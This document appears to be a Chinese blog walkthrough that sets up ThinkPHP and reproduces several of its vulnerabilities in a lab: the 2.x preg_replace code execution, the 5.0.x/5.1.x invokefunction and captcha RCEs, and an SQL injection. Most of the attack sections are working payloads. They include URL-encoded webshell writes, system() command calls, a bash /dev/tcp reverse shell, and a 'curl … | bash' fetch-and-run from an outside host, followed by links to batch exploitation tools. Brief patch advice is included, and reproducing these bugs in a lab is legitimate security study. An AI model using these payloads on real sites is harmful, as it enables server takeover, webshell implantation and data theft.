Thinkphp簡介

ThinkPHP是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的,是一個快速、兼容而且簡單的輕量級國產PHP開發框架,誕生于2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協議發布,從Struts結構移植過來并做了改進和完善,同時也借鑒了國外很多優秀的框架和模式,使用面向對象的開發結構和MVC模式,融合了Struts的思想和TagLib(標簽庫)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服務器環境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多種數據庫以及PDO擴展,是一款跨平臺,跨版本以及簡單易用的PHP框架。

Thinkphp本地安裝

官網鏈接:http://www.thinkphp.cn/down.html

本地搭建

1 安裝vc9_x86(必裝)

2安裝phpstudy20161103

開啟php

下載好的thinkphp5.0.22解壓,可以得到下圖中的內容,將所有文件復制到網站的根目錄,也就是www/web(這個是我新建的文件夾)

輸入域名,這里本地,可以輸入127.0.0.1或者localhost或者本地ip都可(這里如果是默認的域名,遠程訪問的時候要改一下hosts文件),網站目錄可以是任意文件夾,默認是phpstudy安裝目錄下的WWW文件夾,點擊新增后再點擊保存設置并生成配置文件即可:

thinkphp的主目錄是在public目錄下,所以要進vhosts-conf文件配置目錄

即可遠程訪問

Thinkphp本地復現

驗證poc

http://192.168.8.89/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_arra
y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

寫入一句話

php eval($_POST['zcc']);?>

http://192.168.8.89/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

可以看見被成功寫入

蟻劍成功連接

Vulhub-Thinkphp復現

Thinkphp 2.x 任意代碼執行漏洞

漏洞簡介

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,
$paths));

導致用戶的輸入參數被插入雙引號中執行,造成任意代碼執行漏洞

ThinkPHP 3.0版本因為Lite模式下沒有修復該漏洞,也存在這個漏洞。

preg_replace這個函數使用方法如下:

preg_replace('正則規則','替換字符','目標字符')

這個函數的3個參數,結合起來的意思是:如果目標字符存在符合正則規則的字符,那么就替換為替換字符,如果此時正則規則中使用了/e這個修飾符,則存在代碼執行漏洞。

關于/e的解釋:

e 配合函數preg_replace()使用, 可以把匹配來的字符串當作正則表達式執行;
/e 可執行模式,此為PHP專有參數,例如preg_replace函數。

可以使用在線php沙箱測試php版本是否支持/e修飾符

沙箱地址:http://sandbox.onlinephpfunctions.com/

preg_replace這個函數5.2~5.6都還是可以執行的,但是到了php 版本7 以上,就已經都不支持/e修飾符了。

參考鏈接:https://www.freebuf.com/column/223149.html

影響版本

ThinkPHP 2.x

漏洞復現

啟動漏洞

sudo docker-compose up -d

驗證漏洞

http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}或者http://192.168.9.234:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

構造poc

http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

caidao成功連接

這里對其進行抓包

1=system("id");

反彈shell

bash -i >& /dev/tcp/192.168.10.65/8888 0>&1python -m SimpleHTTPServer 80

創建好bash

1=system("curl 192.168.10.65/zcc.sh | bash");

成功上線。

安全防護

用戶可下載官方發布的補丁:http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

Thinkphp5-5.0.22/5.1.29遠程執行代碼漏洞

漏洞簡介

ThinkPHP版本5中,由于沒有正確處理控制器名,導致在網站沒有開啟強制路由的情況下(即默認情況下)可以執行任意方法,從而導致遠程命令執行漏洞。

影響版本

ThinkPHP 5.0.x < 5.0.23ThinkPHP 5.1.x < 5.1.31

漏洞復現

啟動漏洞

驗證漏洞

http://192.168.8.63:8080/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

任意代碼執行

http://192.168.8.63:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

寫入webshell

php eval($_POST[zcc]);?>  #需要進行url編碼
http://192.168.8.63:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

蟻劍成功連接。

安全防護

ThinkPHP官方已經發布新版本修復了上述漏洞,強烈建議受影響的用戶及時升級進行防護。具體升級方法請參考:https://blog.thinkphp.cn/869075

Thinkphp5.0.23遠程代碼執行漏洞

漏洞簡介

Thinkphp5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調用Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞。

影響版本

Thinkphp 5.0.0~ 5.0.23

漏洞復現

開啟漏洞

驗證漏洞

bp抓包

POST /index.php?s=captcha HTTP/1.1Host: 192.168.8.63:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

反彈shell

curl 192.168.10.65/zcc.sh | bash

成功反彈。

安全防護

升級到最新版本(如果是在5.0.0——5.0.23之間的)

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

漏洞簡介

傳入的某參數在綁定編譯指令的時候又沒有安全處理,預編譯的時候導致SQL異常報錯。然而thinkphp5默認開啟debug模式,在漏洞環境下構造錯誤的SQL語法會泄漏數據庫賬戶和密碼。

影響版本

ThinkPHP < 5.1.23

漏洞復現

啟動漏洞

驗證漏洞

訪問如下url,顯示出用戶名,表明環境成功運行。

http://192.168.10.65/index.php?ids[]=1&ids[]=2

構造poc,填到password框

http://192.168.10.65/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

安全防護

官方的修復方法是:在拼接字符串前對變量進行檢查,看是否存在)、#兩個符號。

Thinkphp自動化武器

Thinkphp綜合利用工具

thinkPHPBatchPoc群掃

鏈接:https://github.com/admintony/thinkPHPBatchPoc

TPscan

鏈接:https://github.com/Mr-xn/TPscan

AttackWebFrameworkTools

鏈接:https://github.com/Anonymous-ghost/AttackWebFrameworkTools

下載這個

如果使用時報錯如下,則修改系統時間為9.1號即可:

這個工具使用前需要先安裝4.5以及以上的.NET Framework

安裝完成后,需要在這個工具目錄下新建兩個文件

然后雙擊cmd.bat,然后在cmd框中運行AttackWebFrameworkTools.exe即可。